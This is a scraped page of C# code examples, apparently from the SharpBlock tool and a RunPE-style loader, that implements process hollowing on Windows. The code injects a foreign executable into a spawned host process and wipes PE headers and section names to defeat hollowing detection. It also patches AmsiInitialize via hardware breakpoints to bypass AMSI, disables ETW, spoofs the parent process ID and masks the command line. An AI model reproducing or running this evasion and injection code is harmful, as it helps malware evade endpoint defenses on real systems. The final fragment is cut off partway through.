Exemplo n.º 1
0
        static HostProcessInfo ReplaceExecutable(IntPtr hProcess, IntPtr hThread, string path)
        {
            //Map our executable into memory from the choosen source (file, web, pipe)
            HostProcessInfo hpi = new HostProcessInfo();
            IntPtr          remoteImage;
            IntPtr          entryPoint = MapExecutableMemory(LoadProcessData(path), hProcess, out remoteImage);

            //Get the thread context of our newly launched host process
            Context64 ctx = new Context64(ContextFlags.All);

            ctx.GetContext(hThread);
            long peb = ctx.GetRegister(3);

            //Fill in some key information we need for later
            hpi.previousEntryPoint = new IntPtr(ctx.GetRegister(2));
            hpi.newEntryPoint      = entryPoint;
            hpi.newLoadAddress     = remoteImage;
            hpi.peb = new IntPtr(peb);
            hpi.previousLoadAddress = ReadPointer(hProcess, new IntPtr(peb + 0x10));

            Console.WriteLine($"[+] PEB Address: 0x{peb:x16}");
            Console.WriteLine($"[+] Existing entry point: 0x{hpi.previousEntryPoint.ToInt64():x16}");
            Console.WriteLine($"[+] New entry point: 0x{entryPoint.ToInt64():x16}");
            Console.WriteLine($"[+] Existing base: 0x{hpi.previousLoadAddress.ToInt64():x16}");
            Console.WriteLine($"[+] New base: 0x{remoteImage.ToInt64():x16}");

            //Set RCX to the updated entry point of our new in memory PE
            ctx.SetRegister(2, entryPoint.ToInt64());
            ctx.SetContext(hThread);

            //Write our new base address within PEB
            WritePointer(hProcess, new IntPtr(peb + 0x10), remoteImage);

            return(hpi);
        }
Exemplo n.º 2
0
        private static bool AllocateImageSpace(HostProcessInfo HPI, ref IntPtr newImageBase, uint dwImageBase, uint dwSizeOfImage)
        {
            // attempt to allocate space at the target imagebase (5 times, in case of any NtAllocateVirtualMemory Fails?? , or is this only with VirtualAllocEX...?

            int NT_STAT    = -1;
            int dwAttempts = 0;

            IntPtr lpAllocBaseAddress = (IntPtr)dwImageBase;
            uint   dwRegionSize       = dwSizeOfImage;

            while (dwAttempts < 5)
            {
                NT_STAT = NtAllocateVirtualMemory(HPI.PI.hProcess, ref lpAllocBaseAddress, 0, ref dwRegionSize, 0x3000, 0x40);

                if (NT_STAT == 0 /* yes, i know NT_SUCCESS is not this: but it _should_ not return anything else but 0x00)*/)
                {
                    break;
                }

                dwAttempts++;
            }

            // if we failed to allocate at imagebase, try to allocate it at some random point in process memory...
            if (NT_STAT != 0)
            {
                dwAttempts         = 0;
                lpAllocBaseAddress = (IntPtr)dwImageBase;
                dwRegionSize       = dwSizeOfImage;

                while (dwAttempts < 5)
                {
                    NT_STAT = NtAllocateVirtualMemory(HPI.PI.hProcess, ref lpAllocBaseAddress, 0, ref dwRegionSize, 0x3000, 0x40);

                    if (NT_STAT == 0)
                    {
                        break;
                    }

                    dwAttempts++;
                }

                if (NT_STAT != 0)
                {
                    return(false);
                }
            }

            newImageBase = lpAllocBaseAddress;

            return(true);
        }
Exemplo n.º 3
0
        static void HideHollowedProcess(IntPtr hProcess, HostProcessInfo hpi)
        {
            if (IntPtr.Size == 4)
            {
                Console.WriteLine("[=] Hide allow process not available on x86 yet, use --disable-header-patch to supress this warning");
                return;
            }

            //Pull out the current image headers
            IMAGE_DOS_HEADER        dosHeader      = ReadType <IMAGE_DOS_HEADER>(hProcess, hpi.newLoadAddress);
            IMAGE_FILE_HEADER       fileHeader     = ReadType <IMAGE_FILE_HEADER>(hProcess, new IntPtr(hpi.newLoadAddress.ToInt64() + dosHeader.e_lfanew));
            IMAGE_OPTIONAL_HEADER64 optionalHeader = ReadType <IMAGE_OPTIONAL_HEADER64>(hProcess, new IntPtr(hpi.newLoadAddress.ToInt64() + dosHeader.e_lfanew +
                                                                                                             Marshal.SizeOf(typeof(IMAGE_FILE_HEADER))));

            //Clear some key areas used to spot PE files in memory
            ClearMemory(hProcess, hpi.newLoadAddress, 3);
            ClearMemory(hProcess, new IntPtr(hpi.newLoadAddress.ToInt64() + 0x40), (int)dosHeader.e_lfanew - 0x40);
            ClearMemory(hProcess, new IntPtr(hpi.newLoadAddress.ToInt64() + (int)dosHeader.e_lfanew), Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)));

            //Clear out section names and characteristics used to identify implanted PE files
            for (int section = 0; section < fileHeader.NumberOfSections; section++)
            {
                IntPtr sectionOffset = new IntPtr(hpi.newLoadAddress.ToInt64() +
                                                  (int)dosHeader.e_lfanew + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) +
                                                  fileHeader.SizeOfOptionalHeader +
                                                  (Marshal.SizeOf(typeof(Execute.PE.IMAGE_SECTION_HEADER)) * section));

                Execute.PE.IMAGE_SECTION_HEADER ish = ReadType <Execute.PE.IMAGE_SECTION_HEADER>(hProcess, sectionOffset);
                ish.Name            = new char[8];
                ish.Characteristics = 0;
                WriteType <Execute.PE.IMAGE_SECTION_HEADER>(hProcess, sectionOffset, ish);
            }

            //Replace base address in PEB with the original
            WritePointer(hProcess, new IntPtr(hpi.peb.ToInt64() + 0x10), hpi.previousLoadAddress);

            //Finally replace main module load address and entrypoint with original host process
            IntPtr               pebLdrDataPtr = ReadPointer(hProcess, new IntPtr(hpi.peb.ToInt64() + 0x18));
            PEB_LDR_DATA         pebLdrData    = ReadType <PEB_LDR_DATA>(hProcess, pebLdrDataPtr);
            LDR_DATA_TABLE_ENTRY mainModule    = ReadType <LDR_DATA_TABLE_ENTRY>(hProcess, pebLdrData.InLoadOrderModuleListPtr.Flink);

            mainModule.DllBase    = hpi.previousLoadAddress;
            mainModule.EntryPoint = hpi.previousEntryPoint;
            WriteType(hProcess, pebLdrData.InLoadOrderModuleListPtr.Flink, mainModule);
        }
Exemplo n.º 4
0
        static void Main(string[] args)
        {
            string          program     = "c:\\windows\\system32\\cmd.exe";
            string          hostProcess = null;
            string          programArgs = "";
            bool            showHelp    = false;
            bool            bypass      = false;
            HostProcessInfo hpi         = new HostProcessInfo();

            Console.WriteLine(
                "SharpBlock by @_EthicalChaos_\n" +
                $"  DLL Blocking app for child processes { (IntPtr.Size == 8 ? "x86_64" : "x86")} \n"
                );

            OptionSet option_set = new OptionSet()
                                   .Add("e=|exe=", "Program to execute (default cmd.exe)", v => program      = v)
                                   .Add("a=|args=", "Arguments for program (default null)", v => programArgs = v)
                                   .Add("n=|name=", "Name of DLL to block", v => blockDllName.Add(v))
                                   .Add("c=|copyright=", "Copyright string to block", v => blockCopyright.Add(v))
                                   .Add("p=|product=", "Product string to block", v => blockProduct.Add(v))
                                   .Add("d=|description=", "Description string to block", v => blockDescription.Add(v))
                                   .Add("b=|bypass="******"Bypasses AMSI within the executed process (true|false)", v => bypass     = v != null)
                                   .Add("s=|spawn=", "Host process to spawn for swapping with the target exe", v => hostProcess = v)
                                   .Add("h|help", "Display this help", v => showHelp = v != null);

            try {
                option_set.Parse(args);

                if (showHelp)
                {
                    option_set.WriteOptionDescriptions(Console.Out);
                    return;
                }
            } catch (Exception e) {
                Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
                option_set.WriteOptionDescriptions(Console.Out);
                return;
            }

            try {
                IntPtr amsiBase = WinAPI.LoadLibrary("amsi.dll");
                amsiInitalizePtr = WinAPI.GetProcAddress(amsiBase, "AmsiInitialize");

                Console.WriteLine($"[+] in-proc AMSI 0x{amsiBase.ToInt64():x16}");

                IntPtr stdOut;
                IntPtr stdErr;
                IntPtr stdIn;
                IntPtr currentProcess = new IntPtr(-1);

                WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_OUTPUT_HANDLE), currentProcess, out stdOut, 0, true, 2);
                WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_ERROR_HANDLE), currentProcess, out stdErr, 0, true, 2);
                WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_INPUT_HANDLE), currentProcess, out stdIn, 0, true, 2);

                STARTUPINFO startupInfo = new STARTUPINFO();
                startupInfo.cb         = (uint)Marshal.SizeOf(startupInfo);
                startupInfo.dwFlags    = 0x00000101;
                startupInfo.hStdOutput = stdOut;
                startupInfo.hStdError  = stdErr;
                startupInfo.hStdInput  = stdIn;

                PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

                if (!CreateProcess(hostProcess != null ? hostProcess : program, $"\"{hostProcess}\" {programArgs}", IntPtr.Zero, IntPtr.Zero, true, WinAPI.DEBUG_PROCESS, IntPtr.Zero, null,
                                   ref startupInfo, out pi))
                {
                    Console.WriteLine($"[!] Failed to create process { (hostProcess != null ? hostProcess : program) } with error {Marshal.GetLastWin32Error()}");
                    return;
                }

                Console.WriteLine($"[+] Launched process { (hostProcess != null ? hostProcess : program)} with PID {pi.dwProcessId}");

                bool bContinueDebugging = true;
                Dictionary <uint, IntPtr> processHandles = new Dictionary <uint, IntPtr>();
                Dictionary <uint, IntPtr> threadHandles  = new Dictionary <uint, IntPtr>();

                while (bContinueDebugging)
                {
                    IntPtr debugEventPtr        = Marshal.AllocHGlobal(1024);
                    bool   bb                   = WinAPI.WaitForDebugEvent(debugEventPtr, 1000);
                    UInt32 dwContinueDebugEvent = WinAPI.DBG_CONTINUE;
                    if (bb)
                    {
                        WinAPI.DEBUG_EVENT DebugEvent   = (WinAPI.DEBUG_EVENT)Marshal.PtrToStructure(debugEventPtr, typeof(WinAPI.DEBUG_EVENT));
                        IntPtr             debugInfoPtr = GetIntPtrFromByteArray(DebugEvent.u);
                        switch (DebugEvent.dwDebugEventCode)
                        {
                        /* Uncomment if you want to set OutputDebugString output
                         * case WinAPI.OUTPUT_DEBUG_STRING_EVENT:
                         *  WinAPI.OUTPUT_DEBUG_STRING_INFO OutputDebugStringEventInfo = (WinAPI.OUTPUT_DEBUG_STRING_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.OUTPUT_DEBUG_STRING_INFO));
                         *  IntPtr bytesRead;
                         *  byte[] strData = new byte[OutputDebugStringEventInfo.nDebugStringLength];
                         *  WinAPI.ReadProcessMemory(pi.hProcess, OutputDebugStringEventInfo.lpDebugStringData, strData, strData.Length, out bytesRead);
                         *  Console.WriteLine(Encoding.ASCII.GetString(strData));
                         *  break;
                         */

                        case WinAPI.CREATE_PROCESS_DEBUG_EVENT:

                            WinAPI.CREATE_PROCESS_DEBUG_INFO CreateProcessDebugInfo = (WinAPI.CREATE_PROCESS_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_PROCESS_DEBUG_INFO));
                            processHandles[DebugEvent.dwProcessId] = CreateProcessDebugInfo.hProcess;
                            threadHandles[DebugEvent.dwThreadId]   = CreateProcessDebugInfo.hThread;

                            if (bypass)
                            {
                                SetHardwareBreakpoint(CreateProcessDebugInfo.hThread, amsiInitalizePtr);
                            }

                            break;

                        case WinAPI.CREATE_THREAD_DEBUG_EVENT:
                            WinAPI.CREATE_THREAD_DEBUG_INFO CreateThreadDebugInfo = (WinAPI.CREATE_THREAD_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.CREATE_THREAD_DEBUG_INFO));
                            threadHandles[DebugEvent.dwThreadId] = CreateThreadDebugInfo.hThread;

                            if (bypass)
                            {
                                SetHardwareBreakpoint(CreateThreadDebugInfo.hThread, amsiInitalizePtr);
                            }

                            break;

                        case WinAPI.EXIT_PROCESS_DEBUG_EVENT:
                            if (pi.dwProcessId == DebugEvent.dwProcessId)
                            {
                                bContinueDebugging = false;
                            }
                            break;

                        case WinAPI.LOAD_DLL_DEBUG_EVENT:
                            WinAPI.LOAD_DLL_DEBUG_INFO LoadDLLDebugInfo = (WinAPI.LOAD_DLL_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.LOAD_DLL_DEBUG_INFO));
                            string dllPath = PatchEntryPointIfNeeded(LoadDLLDebugInfo.hFile, LoadDLLDebugInfo.lpBaseOfDll, processHandles[DebugEvent.dwProcessId]);

                            if (DebugEvent.dwProcessId == pi.dwProcessId && hostProcess != null && dllPath.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase))
                            {
                                Console.WriteLine($"[+] Replacing host process with {program}");
                                hpi = ReplaceExecutable(processHandles[DebugEvent.dwProcessId], threadHandles[DebugEvent.dwThreadId], program);

                                //Once we have hollowed out our process we put a breakpoint on
                                //our in-memory PE entry point.
                                //Once the entry point is hit it means that we can then attempt to
                                //hide our PE from prying eyes.
                                SetHardwareBreakpoint(threadHandles[DebugEvent.dwThreadId], hpi.newEntryPoint);
                            }

                            break;

                        case WinAPI.EXCEPTION_DEBUG_EVENT:
                            WinAPI.EXCEPTION_DEBUG_INFO ExceptionDebugInfo = (WinAPI.EXCEPTION_DEBUG_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.EXCEPTION_DEBUG_INFO));

                            if (ExceptionDebugInfo.ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP)
                            {
                                //Check to see if the single step breakpoint is at AmsiInitalize
                                if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == amsiInitalizePtr)
                                {
                                    //It is, to update the thread context to return to caller with
                                    //an invalid result
                                    DisableAMSI(threadHandles[DebugEvent.dwThreadId], processHandles[DebugEvent.dwProcessId]);
                                    //Opsec purposes, lets now clear all threads of hardware breakpoints
                                    ClearHardwareBreakpoints(threadHandles.Values.ToArray());

                                    //check to see if we have hit our in-memory PE entry-point
                                }
                                else if (ExceptionDebugInfo.ExceptionRecord.ExceptionAddress == hpi.newEntryPoint)
                                {
                                    HideHollowedProcess(pi.hProcess, hpi);

                                    Context64 ctx = new Context64(ContextFlags.Debug);
                                    ctx.ClearBreakpoint();
                                    ctx.SetContext(threadHandles[DebugEvent.dwThreadId]);
                                }
                            }
                            else
                            {
                                dwContinueDebugEvent = WinAPI.DBG_EXCEPTION_NOT_HANDLED;
                            }

                            break;
                        }

                        WinAPI.ContinueDebugEvent((uint)DebugEvent.dwProcessId,
                                                  (uint)DebugEvent.dwThreadId,
                                                  dwContinueDebugEvent);
                    }
                    if (debugEventPtr != null)
                    {
                        Marshal.FreeHGlobal(debugEventPtr);
                    }
                }

                int exitCode;
                WinAPI.GetExitCodeProcess(pi.hProcess, out exitCode);
                Console.WriteLine($"[+] Process {program} with PID {pi.dwProcessId} exited wit code {exitCode:x}");
            }catch (Exception e) {
                Console.WriteLine($"[!] SharpBlock failed with error {e.Message}");
            }
        }
Exemplo n.º 5
0
        public static bool Run2(byte[] lpExe, string pszApplicationPath, string pszCmdLine = default(string))
        {
            bool bResult = false;

            pszApplicationPath = string.Format("\"{0}\"", pszApplicationPath);

            if (!string.IsNullOrEmpty(pszCmdLine))
            {
                pszApplicationPath = string.Join(" ", new string[] { pszApplicationPath, pszCmdLine });
            }

            byte *lpExeBase;

            fixed(byte *lpData = &lpExe[0])
            lpExeBase = lpData;

            // init local structs
            IMAGE_DOS_HEADER pIDH = (IMAGE_DOS_HEADER)Marshal.PtrToStructure((IntPtr)lpExeBase, typeof(IMAGE_DOS_HEADER));
            IMAGE_NT_HEADERS pINH = (IMAGE_NT_HEADERS)Marshal.PtrToStructure((IntPtr)(lpExeBase + pIDH.e_lfanew), typeof(IMAGE_NT_HEADERS));

            if (pIDH.e_magic != 0x5A4D || pINH.Signature != 0x4550)
            {
                return(false);
            }

            // init host process
            HostProcessInfo HPI = new HostProcessInfo();

            bResult = InitHostProcess(pszApplicationPath, ref HPI);

            IntPtr v = IntPtr.Zero;

            /* if (pINH.OptionalHeader.ImageBase == HPI.ImageBase &&
             *   pINH.OptionalHeader.SizeOfImage <= HPI.ImageSize && false)
             * {
             *   // use existing memory for our payload exe
             *   v = (IntPtr)HPI.ImageBase;
             *   uint dwOldProtect = 0;
             *
             *   bResult = VirtualProtectEx(
             *            HPI.PI.hProcess,
             *            (IntPtr)HPI.ImageBase,
             *            HPI.ImageSize,
             *            0x40,
             *            ref dwOldProtect);
             *
             *   if (!bResult)
             *       return false;
             * }
             * else
             * {*/
            // try to unmap the host process image
            //try freeing with virtualfree

            VirtualFreeEx(HPI.PI.hProcess,
                          (IntPtr)HPI.ImageBase, HPI.ImageSize, 0x8000);

            //NtUnmapViewOfSection(HPI.PI.hProcess, HPI.ImageBase);

            //int NtStatus = NtUnmapViewOfSection(HPI.PI.hProcess, HPI.ImageBase);
            bResult = true; //NtStatus == 0 ? true : false;

            if (!bResult)
            {
                return(false);
            }

            // allocate memory for the payload in payload's original imagebase
            //v = VirtualAllocEx(
            //            HPI.PI.hProcess,
            //            (IntPtr)pINH.OptionalHeader.ImageBase,
            //            pINH.OptionalHeader.SizeOfImage,
            //            0x3000,
            //            0x40);

            //int dwAttempts = 0;

            //while (dwAttempts < 5)
            //{
            //    IntPtr lpAllocBaseAddress = (IntPtr)pINH.OptionalHeader.ImageBase;
            //    uint dwAllocRegionSize = pINH.OptionalHeader.SizeOfImage;

            //    int ret = NtAllocateVirtualMemory(HPI.PI.hProcess, ref lpAllocBaseAddress, 0, ref dwAllocRegionSize, 0x3000, 0x40);
            //    v = lpAllocBaseAddress;
            //}

            //IntPtr lpAllocBaseAddress = (IntPtr)pINH.OptionalHeader.ImageBase;
            //uint dwAllocRegionSize = pINH.OptionalHeader.SizeOfImage;

            //int ret = NtAllocateVirtualMemory(HPI.PI.hProcess, ref lpAllocBaseAddress, 0, ref dwAllocRegionSize, 0x3000, 0x40);
            //v = lpAllocBaseAddress;

            IntPtr newV = IntPtr.Zero;

            bResult = AllocateImageSpace(HPI, ref newV, pINH.OptionalHeader.ImageBase, pINH.OptionalHeader.SizeOfImage);
            //  Debugger.Break();

            v = newV; //don't need ternarys when using comparison operators, js

            //if (v != (IntPtr)pINH.OptionalHeader.ImageBase)
            //    Debugger.Break();
            // so v == 0? lol i thought i caught that
            //I am overriding your if statement above it rn
            // won't calc.exe only execute the first statement (the if statement above)?
            //yeah prob, but you should always free it anyways

            if (!bResult)
            {
                return(false);
            }

            //  }

            if ((uint)v == 0)
            {
                // could try relocating peb if it has relocation table ?
                // allocate at random place?
            }

            // patch peb->ImageBaseAddress
            byte[] _writeImageBase        = BitConverter.GetBytes((uint)v);
            uint   dwNumberOfBytesWritten = 0;

            bResult = WriteProcessMemory(
                HPI.PI.hProcess,
                (IntPtr)(HPI.CTX.Ebx + 8),
                _writeImageBase,
                sizeof(uint),
                ref dwNumberOfBytesWritten);

            bResult = bResult && dwNumberOfBytesWritten == sizeof(uint) ? true : false;

            if (!bResult)
            {
                return(false);
            }

            // patch Nt->ImageBase in payload exe QWORD <-> DWORD
            pINH.OptionalHeader.ImageBase = (uint)v;

            // copy the payload headers
            bResult = WriteProcessMemory(
                HPI.PI.hProcess,
                v,
                lpExe,
                pINH.OptionalHeader.SizeOfHeaders,
                ref dwNumberOfBytesWritten);

            bResult = bResult && dwNumberOfBytesWritten == pINH.OptionalHeader.SizeOfHeaders ? true : false;

            if (!bResult)
            {
                return(false);
            }

            // copy the payload sections
            for (int i = 0; i < pINH.FileHeader.NumberOfSections; i++)
            {
                uint VirtualAddress   = 0;
                uint SizeOfRawData    = 0;
                uint PointerToRawData = 0;

                fixed(byte *lpModuleBase = &lpExe[0])
                {
                    uint  e_lfanew = *(uint *)(lpModuleBase + 0x3c);
                    byte *ishBase  = lpModuleBase + e_lfanew + 0xF8 + (i * 0x28);

                    VirtualAddress   = *(uint *)(ishBase + 0xc);
                    SizeOfRawData    = *(uint *)(ishBase + 0x10);
                    PointerToRawData = *(uint *)(ishBase + 0x14);
                }

                byte[] lpBuffer = new byte[SizeOfRawData];
                Buffer.BlockCopy(lpExe, (int)PointerToRawData, lpBuffer, 0, (int)SizeOfRawData);

                if (SizeOfRawData == 0) /* virtual section */
                {
                    continue;
                }

                bResult = WriteProcessMemory(
                    HPI.PI.hProcess,
                    (IntPtr)((uint)v + VirtualAddress),
                    lpBuffer,
                    SizeOfRawData,
                    ref dwNumberOfBytesWritten);

                bResult = (bResult && dwNumberOfBytesWritten == SizeOfRawData);

                if (!bResult)
                {
                    return(false);
                }
            }

            if ((uint)v == HPI.ImageBase)
            {
                HPI.CTX.Eax = pINH.OptionalHeader.ImageBase + pINH.OptionalHeader.AddressOfEntryPoint;
            }
            else
            {
                HPI.CTX.Eax = (uint)v + pINH.OptionalHeader.AddressOfEntryPoint;
            }

            //bResult = SetThreadContext(HPI.PI.hThread, ref HPI.CTX);

            //if (!bResult)
            //    return false;

            // QueueUserAPC((IntPtr)HPI.CTX.Eax, HPI.PI.hThread, IntPtr.Zero);

            NtQueueApcThread(HPI.PI.hThread, (IntPtr)HPI.CTX.Eax, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);

            ulong suspend = 0;

            NtAlertResumeThread(HPI.PI.hThread, ref suspend);

            //   ResumeThread(HPI.PI.hThread);

            return(bResult);
        }
Exemplo n.º 6
0
        private static bool InitHostProcess(string pszFormattedPath, ref HostProcessInfo HPI)
        {
            bool bResult;

            STARTUPINFO         lpStartupInfo        = new STARTUPINFO();
            PROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION();

            // create child process
            bResult = CreateProcessW(
                null,
                pszFormattedPath,
                IntPtr.Zero,
                IntPtr.Zero,
                false,
                0x04,
                IntPtr.Zero,
                IntPtr.Zero,
                ref lpStartupInfo,
                out lpProcessInformation);

            if (!bResult)
            {
                return(false);
            }

            HPI.SI = lpStartupInfo;
            HPI.PI = lpProcessInformation;

            // get peb->ImageBaseAddress of host process
            CONTEXT CTX = new CONTEXT();

            CTX.ContextFlags = (uint)CONTEXT_FLAGS.CONTEXT_ALL;

            // YOU Dont actually need getthreadcontext ->??? you just need peb->Imagebaseaddress
            bResult = GetThreadContext(HPI.PI.hThread, ref CTX);

            if (!bResult)
            {
                return(false);
            }

            HPI.CTX = CTX;

            // patch the peb fields in  _RTL_USER_PROCESS_PARAMETERS +0x010
            // +0x038 ImagePathName    : _UNICODE_STRING
            // +0x040 CommandLine      : _UNICODE_STRING? do u need to patch this or is created with CreateProcessW?
            IntPtr pPEB = (IntPtr)CTX.Ebx;

            //string _unformattedQuotedPath = pszFormattedPath.Trim('"');

            //{
            //    /* init unicode string in foreign process */
            //    uint __out = 0;
            //    int len = _unformattedQuotedPath.Length * 2;
            //    int maxlen = len + 2;
            //    IntPtr lpForeignImagePathName = VirtualAllocEx(HPI.PI.hProcess, IntPtr.Zero, (uint)maxlen, 0x3000, 0x40);
            //    byte[] pBb = new UnicodeEncoding().GetBytes(_unformattedQuotedPath);
            //    WriteProcessMemory(HPI.PI.hProcess, lpForeignImagePathName, pBb, (uint)pBb.Length, ref __out);

            //    /* update the field */
            //    IntPtr _rtl_user_proc_params = ReadProcessMemory(HPI(IntPtr)((uint)pPEB + 0x010);
            //    IntPtr _image_Path_name = (IntPtr)((uint)_rtl_user_proc_params + 0x038);

            //}

            // read peb
            byte[] _readBuffer = new byte[sizeof(uint)];
            IntPtr _outBuffer  = IntPtr.Zero;

            // ctx.ebx = peb*
            // ctx.ebx + 8 = ImageBaseAddress
            bResult = ReadProcessMemory(
                HPI.PI.hProcess,
                (IntPtr)(HPI.CTX.Ebx + 8),
                _readBuffer,
                sizeof(uint),
                out _outBuffer);

            if (!bResult)
            {
                return(false);
            }

            HPI.ImageBase = BitConverter.ToUInt32(_readBuffer, 0);

            // find how much mapped memory we have to work with
            IntPtr lpCurrentAddress      = (IntPtr)HPI.ImageBase;
            MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION();

            // iterate through mapped memory space
            while (VirtualQueryEx(
                       HPI.PI.hProcess,
                       lpCurrentAddress,
                       out mbi,
                       (uint)sizeof(MEMORY_BASIC_INFORMATION)) != 0)
            {
                if (mbi.State == StateEnum.MEM_FREE)
                {
                    break;
                }
                lpCurrentAddress = (IntPtr)((uint)(lpCurrentAddress) + mbi.RegionSize);
            }
            // size of mapped memory ?? == Nt->SizeOfImage
            HPI.ImageSize = (uint)lpCurrentAddress - HPI.ImageBase;

            return(bResult);
        }
Exemplo n.º 7
0
        static void Main(string[] args)
        {
            string          program            = "c:\\windows\\system32\\cmd.exe";
            string          hostProcess        = null;
            string          programArgs        = "";
            bool            showHelp           = false;
            bool            bypassAmsi         = true;
            bool            bypassCommandLine  = true;
            bool            bypassETW          = true;
            bool            bypassHollowDetect = true;
            bool            patchedArgs        = false;
            bool            kernelBaseLoaded   = false;
            bool            showWindow         = false;
            int             ppid = -1;
            HostProcessInfo hpi  = new HostProcessInfo();

            Console.WriteLine(
                "SharpBlock by @_EthicalChaos_\n" +
                $"  DLL Blocking app for child processes { (IntPtr.Size == 8 ? "x86_64" : "x86")} \n"
                );

            OptionSet option_set = new OptionSet()
                                   .Add("e=|exe=", "Program to execute (default cmd.exe)", v => program      = v)
                                   .Add("a=|args=", "Arguments for program (default null)", v => programArgs = v)
                                   .Add("n=|name=", "Name of DLL to block", v => blockDllName.Add(v))
                                   .Add("c=|copyright=", "Copyright string to block", v => blockCopyright.Add(v))
                                   .Add("p=|product=", "Product string to block", v => blockProduct.Add(v))
                                   .Add("d=|description=", "Description string to block", v => blockDescription.Add(v))
                                   .Add("s=|spawn=", "Host process to spawn for swapping with the target exe", v => hostProcess  = v)
                                   .Add("ppid=", "PID of the process to use for parent process spoofing", v => ppid              = int.Parse(v))
                                   .Add("w|show", "Show the lauched process window instead of the default hide", v => showWindow = true)
                                   .Add("disable-bypass-amsi", "Disable AMSI bypassAmsi", v => bypassAmsi = false)
                                   .Add("disable-bypass-cmdline", "Disable command line bypass", v => bypassCommandLine = false)
                                   .Add("disable-bypass-etw", "Disable ETW bypass", v => bypassETW = false)
                                   .Add("disable-header-patch", "Disable process hollow detection bypass", v => bypassHollowDetect = false)
                                   .Add("h|help", "Display this help", v => showHelp = v != null);

            try {
                option_set.Parse(args);

                if (showHelp)
                {
                    option_set.WriteOptionDescriptions(Console.Out);
                    return;
                }
            } catch (Exception e) {
                Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
                option_set.WriteOptionDescriptions(Console.Out);
                return;
            }

            try {
                IntPtr amsiBase = WinAPI.LoadLibrary("amsi.dll");
                amsiInitalizePtr = WinAPI.GetProcAddress(amsiBase, "AmsiInitialize");

                IntPtr ntdllBase        = WinAPI.LoadLibrary("ntdll.dll");
                IntPtr etwEventWritePtr = WinAPI.GetProcAddress(ntdllBase, "EtwEventWrite");

                Console.WriteLine($"[+] in-proc amsi 0x{amsiBase.ToInt64():x16}");
                Console.WriteLine($"[+] in-proc ntdll 0x{ntdllBase.ToInt64():x16}");

                IntPtr stdOut;
                IntPtr stdErr;
                IntPtr stdIn;
                IntPtr currentProcess = new IntPtr(-1);

                WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_OUTPUT_HANDLE), currentProcess, out stdOut, 0, true, 2);
                WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_ERROR_HANDLE), currentProcess, out stdErr, 0, true, 2);
                WinAPI.DuplicateHandle(currentProcess, WinAPI.GetStdHandle(StdHandle.STD_INPUT_HANDLE), currentProcess, out stdIn, 0, true, 2);

                STARTUPINFOEX startupInfo = new STARTUPINFOEX();
                startupInfo.StartupInfo.cb = (uint)Marshal.SizeOf(startupInfo);
                uint launchFlags = WinAPI.DEBUG_PROCESS;

                if (!showWindow)
                {
                    startupInfo.StartupInfo.dwFlags    = 0x00000101;
                    startupInfo.StartupInfo.hStdOutput = stdOut;
                    startupInfo.StartupInfo.hStdError  = stdErr;
                    startupInfo.StartupInfo.hStdInput  = stdIn;
                    launchFlags |= 0x08000000;
                }

                if (ppid > 0)
                {
                    launchFlags |= 0x80000;
                    startupInfo.lpAttributeList = InitializeProcThreadAttributeList(1);
                    SetNewProcessParent(ref startupInfo, ppid);
                }

                PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

                string realProgramArgs = $"\"{hostProcess}\" {programArgs}";
                string launchedArgs    = bypassCommandLine ? $"\"{hostProcess}\"" : realProgramArgs;

                if (!CreateProcess(hostProcess != null ? hostProcess : program, launchedArgs, IntPtr.Zero, IntPtr.Zero, true, launchFlags, IntPtr.Zero, null,
                                   ref startupInfo, out pi))
                {
                    Console.WriteLine($"[!] Failed to create process { (hostProcess != null ? hostProcess : program) } with error {Marshal.GetLastWin32Error()}");
                    return;
                }

                Console.WriteLine($"[+] Launched process { (hostProcess != null ? hostProcess : program)} with PID {pi.dwProcessId}");
                bool bContinueDebugging = true;
                Dictionary <uint, IntPtr> processHandles = new Dictionary <uint, IntPtr>();
                Dictionary <uint, IntPtr> threadHandles  = new Dictionary <uint, IntPtr>();

                while (bContinueDebugging)
                {
                    IntPtr debugEventPtr        = Marshal.AllocHGlobal(1024);
                    bool   bb                   = WinAPI.WaitForDebugEvent(debugEventPtr, 1000);
                    UInt32 dwContinueDebugEvent = WinAPI.DBG_CONTINUE;
                    if (bb)
                    {
                        WinAPI.DEBUG_EVENT DebugEvent   = GetDebugEvent(debugEventPtr);
                        IntPtr             debugInfoPtr = GetIntPtrFromByteArray(DebugEvent.u);
                        switch (DebugEvent.dwDebugEventCode)
                        {
                        /* Uncomment if you want to see OutputDebugString output
                         * case WinAPI.OUTPUT_DEBUG_STRING_EVENT:
                         *  WinAPI.OUTPUT_DEBUG_STRING_INFO OutputDebugStringEventInfo = (WinAPI.OUTPUT_DEBUG_STRING_INFO)Marshal.PtrToStructure(debugInfoPtr, typeof(WinAPI.OUTPUT_DEBUG_STRING_INFO));
                         *  IntPtr bytesRead;
                         *  byte[] strData = new byte[OutputDebugStringEventInfo.nDebugStringLength];
                         *  WinAPI.ReadProcessMemory(pi.hProcess, OutputDebugStringEventInfo.lpDebugStringData, strData, strData.Length, out bytesRead);
                         *  Console.WriteLine(Encoding.ASCII.GetString(strData));
                         *  break;
                         */

                        case WinAPI.CREATE_PROCESS_DEBUG_EVENT:

